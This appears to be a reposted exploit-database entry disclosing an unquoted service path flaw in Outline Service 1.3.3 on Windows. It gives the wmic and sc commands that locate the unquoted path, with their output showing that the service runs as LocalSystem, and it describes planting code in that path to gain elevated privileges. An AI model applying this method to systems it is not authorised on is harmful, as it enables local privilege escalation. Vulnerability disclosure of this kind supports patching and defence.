Outline service 1.3.3 outline service unquoted service path Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-05-04 | Type : local | Platform : windows
This exploit / vulnerability Outline service 1.3.3 outline service unquoted service path is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Outline Service 1.3.3 - 'Outline Service ' Unquoted Service Path
# Discovery by: Minh Tuan - SunCSR
# Discovery Date: 2020-05-03
# Vendor Homepage: https://getoutline.org/vi/home
# Software Link : https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/client/stable/Outline-Client.exe
# Tested Version: 1.3.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 10.0.18363 N/A Build 18363

# Step to discover Unquoted Service Path:

C:\Users\minht>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
OutlineService OutlineService C:\Program Files (x86)\Outline\OutlineService.exe

C:\Users\minht>sc qc OutlineService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: OutlineService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Outline\OutlineService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OutlineService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.